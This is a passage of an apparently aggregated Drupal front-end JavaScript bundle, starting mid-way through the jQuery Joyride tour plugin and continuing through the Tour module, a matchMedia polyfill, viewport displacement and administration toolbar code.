$wrapper.attr('aria-labelledby', opts.li.attr('data-aria-labelledby'))
}
if (opts.li.attr('data-aria-describedby')) {
$wrapper.attr('aria-describedby', opts.li.attr('data-aria-describedby'))
}
$blank.append($wrapper);
$blank.first().attr('data-index', opts.index);
$('.joyride-content-wrapper', $blank).append(content);
return $blank[0];
},
timer_instance : function (index) {
var txt;
if ((index === 0 && settings.startTimerOnClick && settings.timer > 0) || settings.timer === 0) {
txt = '';
} else {
txt = methods.outerHTML($(settings.template.timer)[0]);
}
return txt;
},
button_text : function (txt) {
if (settings.nextButton) {
txt = $.trim(txt) || 'Next';
txt = methods.outerHTML($(settings.template.button).append(txt)[0]);
} else {
txt = '';
}
return txt;
},
create : function (opts) {
// backwards compatibility with data-text attribute
var buttonText = opts.$li.attr('data-button') || opts.$li.attr('data-text'),
tipClass = opts.$li.attr('class'),
$tip_content = $(methods.tip_template({
tip_class : tipClass,
index : opts.index,
button_text : buttonText,
li : opts.$li
}));
$(settings.tipContainer).append($tip_content);
},
show : function (init) {
var opts = {}, ii, opts_arr = [], opts_len = 0, p,
$timer = null;
// are we paused?
if (settings.$li === undefined || ($.inArray(settings.$li.index(), settings.pauseAfter) === -1)) {
// don't go to the next li if the tour was paused
if (settings.paused) {
settings.paused = false;
} else {
methods.set_li(init);
}
settings.attempts = 0;
if (settings.$li.length && settings.$target.length > 0) {
opts_arr = (settings.$li.data('options') || ':').split(';');
opts_len = opts_arr.length;
// parse options
for (ii = opts_len - 1; ii >= 0; ii--) {
p = opts_arr[ii].split(':');
if (p.length === 2) {
opts[$.trim(p[0])] = $.trim(p[1]);
}
}
settings.tipSettings = $.extend({}, settings, opts);
settings.tipSettings.tipLocationPattern = settings.tipLocationPatterns[settings.tipSettings.tipLocation];
// scroll if not modal
if (!/body/i.test(settings.$target.selector)) {
methods.scroll_to();
}
if (methods.is_phone()) {
methods.pos_phone(true);
} else {
methods.pos_default(true);
}
$timer = $('.joyride-timer-indicator', settings.$next_tip);
if (/pop/i.test(settings.tipAnimation)) {
$timer.outerWidth(0);
if (settings.timer > 0) {
settings.$next_tip.show();
$timer.animate({
width: $('.joyride-timer-indicator-wrap', settings.$next_tip).outerWidth()
}, settings.timer);
} else {
settings.$next_tip.show();
}
} else if (/fade/i.test(settings.tipAnimation)) {
$timer.outerWidth(0);
if (settings.timer > 0) {
settings.$next_tip.fadeIn(settings.tipAnimationFadeSpeed);
settings.$next_tip.show();
$timer.animate({
width: $('.joyride-timer-indicator-wrap', settings.$next_tip).outerWidth()
}, settings.timer);
} else {
settings.$next_tip.fadeIn(settings.tipAnimationFadeSpeed);
}
}
settings.$current_tip = settings.$next_tip;
$('.joyride-next-tip', settings.$current_tip).focus();
methods.tabbable(settings.$current_tip);
// skip non-existent targets
} else if (settings.$li && settings.$target.length < 1) {
methods.show();
} else {
methods.end();
}
} else {
settings.paused = true;
}
},
// detect phones with media queries if supported.
is_phone : function () {
if (Modernizr) {
return Modernizr.mq('only screen and (max-width: 767px)');
}
return (settings.$window.width() < 767) ? true : false;
},
hide : function () {
settings.postStepCallback(settings.$li.index(), settings.$current_tip);
$('.joyride-modal-bg').hide();
settings.$current_tip.hide();
},
set_li : function (init) {
if (init) {
settings.$li = settings.$tip_content.eq(settings.startOffset);
methods.set_next_tip();
settings.$current_tip = settings.$next_tip;
} else {
settings.$li = settings.$li.next();
methods.set_next_tip();
}
methods.set_target();
},
set_next_tip : function () {
settings.$next_tip = $('.joyride-tip-guide[data-index=' + settings.$li.index() + ']');
},
set_target : function () {
var cl = settings.$li.attr('data-class'),
id = settings.$li.attr('data-id'),
$sel = function () {
if (id) {
return $(settings.document.getElementById(id));
} else if (cl) {
return $('.' + cl).first();
} else {
return $('body');
}
};
settings.$target = $sel();
},
scroll_to : function () {
var window_half, tipOffset;
window_half = settings.$window.height() / 2;
tipOffset = Math.ceil(settings.$target.offset().top - window_half + settings.$next_tip.outerHeight());
$("html, body").stop().animate({
scrollTop: tipOffset
}, settings.scrollSpeed);
},
paused : function () {
if (($.inArray((settings.$li.index() + 1), settings.pauseAfter) === -1)) {
return true;
}
return false;
},
destroy : function () {
settings.$document.off('.joyride');
$(window).off('.joyride');
$('.joyride-close-tip, .joyride-next-tip, .joyride-modal-bg').off('.joyride');
$('.joyride-tip-guide, .joyride-modal-bg').remove();
clearTimeout(settings.automate);
settings = {};
},
restart : function () {
methods.hide();
settings.$li = undefined;
methods.show('init');
},
pos_default : function (init) {
var half_fold = Math.ceil(settings.$window.height() / 2),
tip_position = settings.$next_tip.offset(),
$nub = $('.joyride-nub', settings.$next_tip),
nub_height = Math.ceil($nub.outerHeight() / 2),
toggle = init || false;
// tip must not be "display: none" to calculate position
if (toggle) {
settings.$next_tip.css('visibility', 'hidden');
settings.$next_tip.show();
}
if (!/body/i.test(settings.$target.selector)) {
if (methods.bottom()) {
settings.$next_tip.css({
top: (settings.$target.offset().top + nub_height + settings.$target.outerHeight()),
left: settings.$target.offset().left});
methods.nub_position($nub, settings.tipSettings.nubPosition, 'top');
} else if (methods.top()) {
settings.$next_tip.css({
top: (settings.$target.offset().top - settings.$next_tip.outerHeight() - nub_height),
left: settings.$target.offset().left});
methods.nub_position($nub, settings.tipSettings.nubPosition, 'bottom');
} else if (methods.right()) {
settings.$next_tip.css({
top: settings.$target.offset().top,
left: (settings.$target.outerWidth() + settings.$target.offset().left)});
methods.nub_position($nub, settings.tipSettings.nubPosition, 'left');
} else if (methods.left()) {
settings.$next_tip.css({
top: settings.$target.offset().top,
left: (settings.$target.offset().left - settings.$next_tip.outerWidth() - nub_height)});
methods.nub_position($nub, settings.tipSettings.nubPosition, 'right');
}
if (!methods.visible(methods.corners(settings.$next_tip)) && settings.attempts < settings.tipSettings.tipLocationPattern.length) {
$nub.removeClass('bottom')
.removeClass('top')
.removeClass('right')
.removeClass('left');
settings.tipSettings.tipLocation = settings.tipSettings.tipLocationPattern[settings.attempts];
settings.attempts++;
methods.pos_default(true);
}
} else if (settings.$li.length) {
methods.pos_modal($nub);
}
if (toggle) {
settings.$next_tip.hide();
settings.$next_tip.css('visibility', 'visible');
}
},
pos_phone : function (init) {
var tip_height = settings.$next_tip.outerHeight(),
tip_offset = settings.$next_tip.offset(),
target_height = settings.$target.outerHeight(),
$nub = $('.joyride-nub', settings.$next_tip),
nub_height = Math.ceil($nub.outerHeight() / 2),
toggle = init || false;
$nub.removeClass('bottom')
.removeClass('top')
.removeClass('right')
.removeClass('left');
if (toggle) {
settings.$next_tip.css('visibility', 'hidden');
settings.$next_tip.show();
}
if (!/body/i.test(settings.$target.selector)) {
if (methods.top()) {
settings.$next_tip.offset({top: settings.$target.offset().top - tip_height - nub_height});
$nub.addClass('bottom');
} else {
settings.$next_tip.offset({top: settings.$target.offset().top + target_height + nub_height});
$nub.addClass('top');
}
} else if (settings.$li.length) {
methods.pos_modal($nub);
}
if (toggle) {
settings.$next_tip.hide();
settings.$next_tip.css('visibility', 'visible');
}
},
pos_modal : function ($nub) {
methods.center();
$nub.hide();
if ($('.joyride-modal-bg').length < 1) {
$('body').append('<div class="joyride-modal-bg">').show();
}
if (/pop/i.test(settings.tipAnimation)) {
$('.joyride-modal-bg').show();
} else {
$('.joyride-modal-bg').fadeIn(settings.tipAnimationFadeSpeed);
}
},
center : function () {
var $w = settings.$window;
settings.$next_tip.css({
top : ((($w.height() - settings.$next_tip.outerHeight()) / 2) + $w.scrollTop()),
left : ((($w.width() - settings.$next_tip.outerWidth()) / 2) + $w.scrollLeft())
});
return true;
},
bottom : function () {
return /bottom/i.test(settings.tipSettings.tipLocation);
},
top : function () {
return /top/i.test(settings.tipSettings.tipLocation);
},
right : function () {
return /right/i.test(settings.tipSettings.tipLocation);
},
left : function () {
return /left/i.test(settings.tipSettings.tipLocation);
},
corners : function (el) {
var w = settings.$window,
right = w.width() + w.scrollLeft(),
bottom = w.width() + w.scrollTop();
return [
el.offset().top <= w.scrollTop(),
right <= el.offset().left + el.outerWidth(),
bottom <= el.offset().top + el.outerHeight(),
w.scrollLeft() >= el.offset().left
];
},
visible : function (hidden_corners) {
var i = hidden_corners.length;
while (i--) {
if (hidden_corners[i]) return false;
}
return true;
},
nub_position : function (nub, pos, def) {
if (pos === 'auto') {
nub.addClass(def);
} else {
nub.addClass(pos);
}
},
startTimer : function () {
if (settings.$li.length) {
settings.automate = setTimeout(function () {
methods.hide();
methods.show();
methods.startTimer();
}, settings.timer);
} else {
clearTimeout(settings.automate);
}
},
end : function () {
if (settings.cookieMonster) {
$.cookie(settings.cookieName, 'ridden', { expires: 365, domain: settings.cookieDomain });
}
if (settings.timer > 0) {
clearTimeout(settings.automate);
}
$('.joyride-modal-bg').hide();
settings.$current_tip.hide();
settings.postStepCallback(settings.$li.index(), settings.$current_tip);
settings.postRideCallback(settings.$li.index(), settings.$current_tip);
},
jquery_check : function () {
// define on() and off() for older jQuery
if (!$.isFunction($.fn.on)) {
$.fn.on = function (types, sel, fn) {
return this.delegate(sel, types, fn);
};
$.fn.off = function (types, sel, fn) {
return this.undelegate(sel, types, fn);
};
return false;
}
return true;
},
outerHTML : function (el) {
// support FireFox < 11
return el.outerHTML || new XMLSerializer().serializeToString(el);
},
version : function () {
return settings.version;
},
tabbable : function (el) {
$(el).on('keydown', function( event ) {
if (!event.isDefaultPrevented() && event.keyCode &&
// Escape key.
event.keyCode === 27 ) {
event.preventDefault();
methods.end();
return;
}
// Prevent tabbing out of tour items.
if ( event.keyCode !== 9 ) {
return;
}
var tabbables = $(el).find(":tabbable"),
first = tabbables.filter(":first"),
last = tabbables.filter(":last");
if ( event.target === last[0] && !event.shiftKey ) {
first.focus( 1 );
event.preventDefault();
} else if ( event.target === first[0] && event.shiftKey ) {
last.focus( 1 );
event.preventDefault();
}
});
}
};
$.fn.joyride = function (method) {
if (methods[method]) {
return methods[method].apply(this, Array.prototype.slice.call(arguments, 1));
} else if (typeof method === 'object' || !method) {
return methods.init.apply(this, arguments);
} else {
$.error('Method ' + method + ' does not exist on jQuery.joyride');
}
};
}(jQuery, this));
;
/**
* @file
* Attaches behaviors for the Tour module's toolbar tab.
*/
(function ($, Backbone, Drupal, document) {
"use strict";
var queryString = decodeURI(window.location.search);
/**
* Attaches the tour's toolbar tab behavior.
*
* It uses the query string for:
* - tour: When ?tour=1 is present, the tour will start automatically
* after the page has loaded.
* - tips: Pass ?tips=class in the url to filter the available tips to
* the subset which match the given class.
*
* Example:
* http://example.com/foo?tour=1&tips=bar
*/
Drupal.behaviors.tour = {
attach: function (context) {
$('body').once('tour', function (index, element) {
var model = new Drupal.tour.models.StateModel();
new Drupal.tour.views.ToggleTourView({
el: $(context).find('#toolbar-tab-tour'),
model: model
});
model
// Allow other scripts to respond to tour events.
.on('change:isActive', function (model, isActive) {
$(document).trigger((isActive) ? 'drupalTourStarted' : 'drupalTourStopped');
})
// Initialization: check whether a tour is available on the current page.
.set('tour', $(context).find('ol#tour'));
// Start the tour immediately if toggled via query string.
if (/tour=?/i.test(queryString)) {
model.set('isActive', true);
}
});
}
};
Drupal.tour = Drupal.tour || { models: {}, views: {}};
/**
* Backbone Model for tours.
*/
Drupal.tour.models.StateModel = Backbone.Model.extend({
defaults: {
// Indicates whether the Drupal root window has a tour.
tour: [],
// Indicates whether the tour is currently running.
isActive: false,
// Indicates which tour is the active one (necessary to cleanly stop).
activeTour: []
}
});
/**
* Handles edit mode toggle interactions.
*/
Drupal.tour.views.ToggleTourView = Backbone.View.extend({
events: { 'click': 'onClick' },
/**
* Implements Backbone Views' initialize().
*/
initialize: function () {
this.listenTo(this.model, 'change:tour change:isActive', this.render);
this.listenTo(this.model, 'change:isActive', this.toggleTour);
},
/**
* Implements Backbone Views' render().
*/
render: function () {
// Render the visibility.
this.$el.toggleClass('hidden', this._getTour().length === 0);
// Render the state.
var isActive = this.model.get('isActive');
this.$el.find('button')
.toggleClass('active', isActive)
.prop('aria-pressed', isActive);
return this;
},
/**
* Model change handler; starts or stops the tour.
*/
toggleTour: function () {
if (this.model.get('isActive')) {
var $tour = this._getTour();
this._removeIrrelevantTourItems($tour, this._getDocument());
var that = this;
if ($tour.find('li').length) {
$tour.joyride({
postRideCallback: function () { that.model.set('isActive', false); },
template: { // HTML segments for tip layout
link: '<a href=\"#close\" class=\"joyride-close-tip\">×</a>',
button: '<a href=\"#\" class=\"button button--primary joyride-next-tip\"></a>'
}
});
this.model.set({ isActive: true, activeTour: $tour });
}
}
else {
this.model.get('activeTour').joyride('destroy');
this.model.set({ isActive: false, activeTour: [] });
}
},
/**
* Toolbar tab click event handler; toggles isActive.
*/
onClick: function (event) {
this.model.set('isActive', !this.model.get('isActive'));
event.preventDefault();
event.stopPropagation();
},
/**
* Gets the tour.
*
* @return jQuery
* A jQuery element pointing to a <ol> containing tour items.
*/
_getTour: function () {
return this.model.get('tour');
},
/**
* Gets the relevant document as a jQuery element.
*
* @return jQuery
* A jQuery element pointing to the document within which a tour would be
* started given the current state.
*/
_getDocument: function () {
return $(document);
},
/**
* Removes tour items for elements that don't have matching page elements or
* are explicitly filtered out via the 'tips' query string.
*
* Example:
* http://example.com/foo?tips=bar
*
* The above will filter out tips that do not have a matching page element or
* don't have the "bar" class.
*
* @param jQuery $tour
* A jQuery element pointing to a <ol> containing tour items.
* @param jQuery $document
* A jQuery element pointing to the document within which the elements
* should be sought.
*
* @see _getDocument()
*/
_removeIrrelevantTourItems: function ($tour, $document) {
var removals = false;
var tips = /tips=([^&]+)/.exec(queryString);
$tour
.find('li')
.each(function () {
var $this = $(this);
var itemId = $this.attr('data-id');
var itemClass = $this.attr('data-class');
// If the query parameter 'tips' is set, remove all tips that don't
// have the matching class.
if (tips && !$(this).hasClass(tips[1])) {
removals = true;
$this.remove();
return;
}
// Remove tip from the DOM if there is no corresponding page element.
if ((!itemId && !itemClass) ||
(itemId && $document.find('#' + itemId).length) ||
(itemClass && $document.find('.' + itemClass).length)) {
return;
}
removals = true;
$this.remove();
});
// If there were removals, we'll have to do some clean-up.
if (removals) {
var total = $tour.find('li').length;
if (!total) {
this.model.set({ tour: [] });
}
$tour
.find('li')
// Rebuild the progress data.
.each(function (index) {
var progress = Drupal.t('!tour_item of !total', { '!tour_item': index + 1, '!total': total });
$(this).find('.tour-progress').text(progress);
})
// Update the last item to have "End tour" as the button.
.last()
.attr('data-text', Drupal.t('End tour'));
}
}
});
})(jQuery, Backbone, Drupal, document);
;
/**
* Polyfill the behavior of window.matchMedia.
*
* @see http://dev.w3.org/csswg/cssom-view/#widl-Window-matchMedia-MediaQueryList-DOMString-query
*
* Test whether a CSS media type or media query applies. Register listeners
* to MediaQueryList objects.
*
* Adapted from https://github.com/paulirish/matchMedia.js with the addition
* of addListener and removeListener. The polyfill referenced above uses
* polling to trigger registered listeners on matchMedia tests.
* This polyfill triggers tests on window resize and orientationchange.
*/
window.matchMedia = window.matchMedia || (function (doc, window, Drupal) {
"use strict";
var docElem = doc.documentElement;
var refNode = docElem.firstElementChild || docElem.firstChild;
// fakeBody required for <FF4 when executed in <head>.
var fakeBody = doc.createElement("body");
var div = doc.createElement("div");
div.id = "mq-test-1";
div.style.cssText = "position:absolute;top:-100em";
fakeBody.style.background = "none";
fakeBody.appendChild(div);
/**
* A replacement for the native MediaQueryList object.
*
* @param {String} q
* A media query e.g. "screen" or "screen and (min-width: 28em)".
*/
function MediaQueryList(q) {
this.media = q;
this.matches = false;
this.check.call(this);
}
/**
* Polyfill the addListener and removeListener methods.
*/
MediaQueryList.prototype = {
listeners: [],
/**
* Perform the media query application check.
*/
check: function () {
var isApplied;
div.innerHTML = "­<style media=\"" + this.media + "\"> #mq-test-1 {width: 42px;}</style>";
docElem.insertBefore(fakeBody, refNode);
isApplied = div.offsetWidth === 42;
docElem.removeChild(fakeBody);
this.matches = isApplied;
},
/**
* Polyfill the addListener method of the MediaQueryList object.
*
* @param {Function} callback
* The callback to be invoked when the media query is applicable.
*
* @return {Object MediaQueryList}
* A MediaQueryList object that indicates whether the registered media
* query applies. The matches property is true when the media query
* applies and false when not. The original media query is referenced in
* the media property.
*/
addListener: function (callback) {
var handler = (function (mql, debounced) {
return function () {
// Only execute the callback if the state has changed.
var oldstate = mql.matches;
mql.check();
if (oldstate !== mql.matches) {
debounced.call(mql, mql);
}
};
}(this, Drupal.debounce(callback, 250)));
this.listeners.push({
'callback': callback,
'handler': handler
});
// Associate the handler to the resize and orientationchange events.
if ('addEventListener' in window) {
window.addEventListener('resize', handler);
window.addEventListener('orientationchange', handler);
}
else if ('attachEvent' in window) {
window.attachEvent('onresize', handler);
window.attachEvent('onorientationchange', handler);
}
},
/**
* Polyfill the removeListener method of the MediaQueryList object.
*
* @param {Function} callback
* The callback to be removed from the set of listeners.
*/
removeListener: function (callback) {
for (var i = 0, listeners = this.listeners; i < listeners.length; i++) {
if (listeners[i].callback === callback) {
// Disassociate the handler to the resize and orientationchange events.
if ('removeEventListener' in window) {
window.removeEventListener('resize', listeners[i].handler);
window.removeEventListener('orientationchange', listeners[i].handler);
}
else if ('detachEvent' in window) {
window.detachEvent('onresize', listeners[i].handler);
window.detachEvent('onorientationchange', listeners[i].handler);
}
listeners.splice(i, 1);
}
}
}
};
/**
* Return a MediaQueryList.
*
* @param {String} q
* A media query e.g. "screen" or "screen and (min-width: 28em)". The media
* query is checked for applicability before the object is returned.
*/
return function (q) {
// Build a new MediaQueryList object with the result of the check.
return new MediaQueryList(q);
};
}(document, window, Drupal));
;
/**
* Manages elements that can offset the size of the viewport.
*
* Measures and reports viewport offset dimensions from elements like the
* toolbar that can potentially displace the positioning of other elements.
*/
(function ($, Drupal, debounce) {
"use strict";
var offsets = {
top: 0,
right: 0,
bottom: 0,
left: 0
};
/**
* Registers a resize handler on the window.
*/
Drupal.behaviors.drupalDisplace = {
attach: function () {
// Mark this behavior as processed on the first pass.
if (this.displaceProcessed) {
return;
}
this.displaceProcessed = true;
$(window).on('resize.drupalDisplace', debounce(displace, 200));
}
};
/**
* Informs listeners of the current offset dimensions.
*
* @param {boolean} broadcast
* (optional) When true or undefined, causes the recalculated offsets values to be
* broadcast to listeners.
*
* @return {object}
* An object whose keys are the for sides an element -- top, right, bottom
* and left. The value of each key is the viewport displacement distance for
* that edge.
*/
function displace(broadcast) {
offsets = Drupal.displace.offsets = calculateOffsets();
if (typeof broadcast === 'undefined' || broadcast) {
$(document).trigger('drupalViewportOffsetChange', offsets);
}
return offsets;
}
/**
* Determines the viewport offsets.
*
* @return {object}
* An object whose keys are the for sides an element -- top, right, bottom
* and left. The value of each key is the viewport displacement distance for
* that edge.
*/
function calculateOffsets() {
return {
top: calculateOffset('top'),
right: calculateOffset('right'),
bottom: calculateOffset('bottom'),
left: calculateOffset('left')
};
}
/**
* Gets a specific edge's offset.
*
* Any element with the attribute data-offset-{edge} e.g. data-offset-top will
* be considered in the viewport offset calculations. If the attribute has a
* numeric value, that value will be used. If no value is provided, one will
* be calculated using the element's dimensions and placement.
*
* @param {string} edge
* The name of the edge to calculate. Can be 'top', 'right',
* 'bottom' or 'left'.
*
* @return {number}
* The viewport displacement distance for the requested edge.
*/
function calculateOffset(edge) {
var edgeOffset = 0;
var displacingElements = document.querySelectorAll('[data-offset-' + edge + ']');
for (var i = 0, n = displacingElements.length; i < n; i++) {
var el = displacingElements[i];
// If the element is not visble, do consider its dimensions.
if (el.style.display === 'none') {
continue;
}
// If the offset data attribute contains a displacing value, use it.
var displacement = parseInt(el.getAttribute('data-offset-' + edge), 10);
// If the element's offset data attribute exits
// but is not a valid number then get the displacement
// dimensions directly from the element.
if (isNaN(displacement)) {
displacement = getRawOffset(el, edge);
}
// If the displacement value is larger than the current value for this
// edge, use the displacement value.
edgeOffset = Math.max(edgeOffset, displacement);
}
return edgeOffset;
}
/**
* Calculates displacement for element based on its dimensions and placement.
*
* @param {jQuery} $el
* The jQuery element whose dimensions and placement will be measured.
*
* @param {string} edge
* The name of the edge of the viewport that the element is associated
* with.
*
* @return {number}
* The viewport displacement distance for the requested edge.
*/
function getRawOffset(el, edge) {
var $el = $(el);
var documentElement = document.documentElement;
var displacement = 0;
var horizontal = (edge === 'left' || edge === 'right');
// Get the offset of the element itself.
var placement = $el.offset()[ horizontal ? 'left' : 'top'];
// Subtract scroll distance from placement to get the distance
// to the edge of the viewport.
placement -= window['scroll' + (horizontal ? 'X' : 'Y')] || document.documentElement['scroll' + (horizontal) ? 'Left' : 'Top'] || 0;
// Find the displacement value according to the edge.
switch (edge) {
// Left and top elements displace as a sum of their own offset value
// plus their size.
case 'top':
// Total displacment is the sum of the elements placement and size.
displacement = placement + $el.outerHeight();
break;
case 'left':
// Total displacment is the sum of the elements placement and size.
displacement = placement + $el.outerWidth();
break;
// Right and bottom elements displace according to their left and
// top offset. Their size isn't important.
case 'bottom':
displacement = documentElement.clientHeight - placement;
break;
case 'right':
displacement = documentElement.clientWidth - placement;
break;
default:
displacement = 0;
}
return displacement;
}
/**
* Assign the displace function to a property of the Drupal global object.
*/
Drupal.displace = displace;
$.extend(Drupal.displace, {
/**
* Expose offsets to other scripts to avoid having to recalculate offsets
*/
offsets: offsets,
/**
* Expose method to compute a single edge offsets.
*/
calculateOffset: calculateOffset
});
})(jQuery, Drupal, Drupal.debounce);
;
/**
* Builds a nested accordion widget.
*
* Invoke on an HTML list element with the jQuery plugin pattern.
* - For example, $('.menu').drupalToolbarMenu();
*/
(function ($, Drupal, drupalSettings) {
"use strict";
/**
* Store the open menu tray.
*/
var activeItem = Drupal.url(drupalSettings.path.currentPath);
$.fn.drupalToolbarMenu = function () {
var ui = {
'handleOpen': Drupal.t('Extend'),
'handleClose': Drupal.t('Collapse')
};
/**
* Handle clicks from the disclosure button on an item with sub-items.
*
* @param {Object} event
* A jQuery Event object.
*/
function toggleClickHandler(event) {
var $toggle = $(event.target);
var $item = $toggle.closest('li');
// Toggle the list item.
toggleList($item);
// Close open sibling menus.
var $openItems = $item.siblings().filter('.open');
toggleList($openItems, false);
}
/**
* Toggle the open/close state of a list is a menu.
*
* @param {jQuery} $item
* The li item to be toggled.
*
* @param {Boolean} switcher
* A flag that forces toggleClass to add or a remove a class, rather than
* simply toggling its presence.
*/
function toggleList($item, switcher) {
var $toggle = $item.children('.toolbar-box').children('.toolbar-handle');
switcher = (typeof switcher !== 'undefined') ? switcher : !$item.hasClass('open');
// Toggle the item open state.
$item.toggleClass('open', switcher);
// Twist the toggle.
$toggle.toggleClass('open', switcher);
// Adjust the toggle text.
$toggle
.find('.action')
// Expand Structure, Collapse Structure
.text((switcher) ? ui.handleClose : ui.handleOpen);
}
/**
* Add markup to the menu elements.
*
* Items with sub-elements have a list toggle attached to them. Menu item
* links and the corresponding list toggle are wrapped with in a div
* classed with .toolbar-box. The .toolbar-box div provides a positioning
* context for the item list toggle.
*
* @param {jQuery} $menu
* The root of the menu to be initialized.
*/
function initItems($menu) {
var options = {
'class': 'toolbar-icon toolbar-handle',
'action': ui.handleOpen,
'text': ''
};
// Initialize items and their links.
$menu.find('li > a').wrap('<div class="toolbar-box">');
// Add a handle to each list item if it has a menu.
$menu.find('li').each(function (index, element) {
var $item = $(element);
if ($item.children('ul.menu').length) {
var $box = $item.children('.toolbar-box');
options.text = Drupal.t('@label', {'@label': $box.find('a').text()});
$item.children('.toolbar-box')
.append(Drupal.theme('toolbarMenuItemToggle', options));
}
});
}
/**
* Adds a level class to each list based on its depth in the menu.
*
* This function is called recursively on each sub level of lists elements
* until the depth of the menu is exhausted.
*
* @param {jQuery} $lists
* A jQuery object of ul elements.
*
* @param {Integer} level
* The current level number to be assigned to the list elements.
*/
function markListLevels($lists, level) {
level = (!level) ? 1 : level;
var $lis = $lists.children('li').addClass('level-' + level);
$lists = $lis.children('ul');
if ($lists.length) {
markListLevels($lists, level + 1);
}
}
/**
* On page load, open the active menu item.
*
* Marks the trail of the active link in the menu back to the root of the
* menu with .active-trail.
*
* @param {jQuery} $menu
* The root of the menu.
*/
function openActiveItem($menu) {
var pathItem = $menu.find('a[href="' + location.pathname + '"]');
if (pathItem.length && !activeItem) {
activeItem = location.pathname;
}
if (activeItem) {
var $activeItem = $menu.find('a[href="' + activeItem + '"]').addClass('active');
var $activeTrail = $activeItem.parentsUntil('.root', 'li').addClass('active-trail');
toggleList($activeTrail, true);
}
}
// Bind event handlers.
$(document)
.on('click.toolbar', '.toolbar-handle', toggleClickHandler);
// Return the jQuery object.
return this.each(function (selector) {
var $menu = $(this).once('toolbar-menu');
if ($menu.length) {
$menu.addClass('root');
initItems($menu);
markListLevels($menu);
// Restore previous and active states.
openActiveItem($menu);
}
});
};
/**
* A toggle is an interactive element often bound to a click handler.
*
* @return {String}
* A string representing a DOM fragment.
*/
Drupal.theme.toolbarMenuItemToggle = function (options) {
return '<button class="' + options['class'] + '"><span class="action">' + options.action + '</span><span class="label">' + options.text + '</span></button>';
};
}(jQuery, Drupal, drupalSettings));
;
/**
* @file toolbar.js
*
* Defines the behavior of the Drupal administration toolbar.
*/
(function ($, Drupal, drupalSettings) {
"use strict";
// Merge run-time settings with the defaults.
var options = $.extend(
{
breakpoints: {
'module.toolbar.narrow': '',
'module.toolbar.standard': '',
'module.toolbar.wide': ''
}
},
drupalSettings.toolbar,
// Merge strings on top of drupalSettings so that they are not mutable.
{
strings: {
horizontal: Drupal.t('Horizontal orientation'),
vertical: Drupal.t('Vertical orientation')
}
}
);
/**
* Registers tabs with the toolbar.
*
* The Drupal toolbar allows modules to register top-level tabs. These may point
* directly to a resource or toggle the visibility of a tray.
*
* Modules register tabs with hook_toolbar().
*/
Drupal.behaviors.toolbar = {
attach: function (context) {
// Verify that the user agent understands media queries. Complex admin
// toolbar layouts require media query support.
if (!window.matchMedia('only screen').matches) {
return;
}
// Process the administrative toolbar.
$(context).find('#toolbar-administration').once('toolbar', function () {
// Establish the toolbar models and views.
var model = Drupal.toolbar.models.toolbarModel = new Drupal.toolbar.ToolbarModel({
locked: JSON.parse(localStorage.getItem('Drupal.toolbar.trayVerticalLocked')) || false,
activeTab: document.getElementById(JSON.parse(localStorage.getItem('Drupal.toolbar.activeTabID')))
});
Drupal.toolbar.views.toolbarVisualView = new Drupal.toolbar.ToolbarVisualView({
el: this,
model: model,
strings: options.strings
});
Drupal.toolbar.views.toolbarAuralView = new Drupal.toolbar.ToolbarAuralView({
el: this,
model: model,
strings: options.strings
});
Drupal.toolbar.views.bodyVisualView = new Drupal.toolbar.BodyVisualView({
el: this,
model: model
});
// Render collapsible menus.
var menuModel = Drupal.toolbar.models.menuModel = new Drupal.toolbar.MenuModel();
Drupal.toolbar.views.menuVisualView = new Drupal.toolbar.MenuVisualView({
el: $(this).find('.toolbar-menu-administration').get(0),
model: menuModel,
strings: options.strings
});
// Handle the resolution of Drupal.toolbar.setSubtrees.
// This is handled with a deferred so that the function may be invoked
// asynchronously.
Drupal.toolbar.setSubtrees.done(function (subtrees) {
menuModel.set('subtrees', subtrees);
localStorage.setItem('Drupal.toolbar.subtrees', JSON.stringify(subtrees));
// Indicate on the toolbarModel that subtrees are now loaded.
model.set('areSubtreesLoaded', true);
});
// Attach a listener to the configured media query breakpoints.
for (var label in options.breakpoints) {
if (options.breakpoints.hasOwnProperty(label)) {
var mq = options.breakpoints[label];
var mql = Drupal.toolbar.mql[label] = window.matchMedia(mq);
// Curry the model and the label of the media query breakpoint to the
// mediaQueryChangeHandler function.
mql.addListener(Drupal.toolbar.mediaQueryChangeHandler.bind(null, model, label));
// Fire the mediaQueryChangeHandler for each configured breakpoint
// so that they process once.
Drupal.toolbar.mediaQueryChangeHandler.call(null, model, label, mql);
}
}
// Trigger an initial attempt to load menu subitems. This first attempt
// is made after the media query handlers have had an opportunity to
// process. The toolbar starts in the vertical orientation by default,
// unless the viewport is wide enough to accommodate a horizontal
// orientation. Thus we give the Toolbar a chance to determine if it
// should be set to horizontal orientation before attempting to load menu
// subtrees.
Drupal.toolbar.views.toolbarVisualView.loadSubtrees();
$(document)
// Update the model when the viewport offset changes.
.on('drupalViewportOffsetChange.toolbar', function (event, offsets) {
model.set('offsets', offsets);
});
// Broadcast model changes to other modules.
model
.on('change:orientation', function (model, orientation) {
$(document).trigger('drupalToolbarOrientationChange', orientation);
})
.on('change:activeTab', function (model, tab) {
$(document).trigger('drupalToolbarTabChange', tab);
})
.on('change:activeTray', function (model, tray) {
$(document).trigger('drupalToolbarTrayChange', tray);
});
});
}
};
/**
* Toolbar methods of Backbone objects.
*/
Drupal.toolbar = {
// A hash of View instances.
views: {},
// A hash of Model instances.
models: {},
// A hash of MediaQueryList objects tracked by the toolbar.
mql: {},
/**
* Accepts a list of subtree menu elements.
*
* A deferred object that is resolved by an inlined JavaScript callback.
*
* JSONP callback.
* @see toolbar_subtrees_jsonp().
*/
setSubtrees: new $.Deferred(),
/**
* Respond to configured narrow media query changes.
*/
mediaQueryChangeHandler: function (model, label, mql) {
switch (label) {
case 'module.toolbar.narrow':
model.set({
'isOriented': mql.matches,
'isTrayToggleVisible': false
});
// If the toolbar doesn't have an explicit orientation yet, or if the
// narrow media query doesn't match then set the orientation to
// vertical.
if (!mql.matches || !model.get('orientation')) {
model.set({'orientation': 'vertical'}, {validate: true});
}
break;
case 'module.toolbar.standard':
model.set({
'isFixed': mql.matches
});
break;
case 'module.toolbar.wide':
model.set({
'orientation': ((mql.matches) ? 'horizontal' : 'vertical')
}, {validate: true});
// The tray orientation toggle visibility does not need to be validated.
model.set({
'isTrayToggleVisible': mql.matches
});
break;
default:
break;
}
}
};
/**
* A toggle is an interactive element often bound to a click handler.
*
* @return {String}
* A string representing a DOM fragment.
*/
Drupal.theme.toolbarOrientationToggle = function () {
return '<div class="toolbar-toggle-orientation"><div class="toolbar-lining">' +
'<button class="toolbar-icon" type="button"></button>' +
'</div></div>';
};
}(jQuery, Drupal, drupalSettings));
;
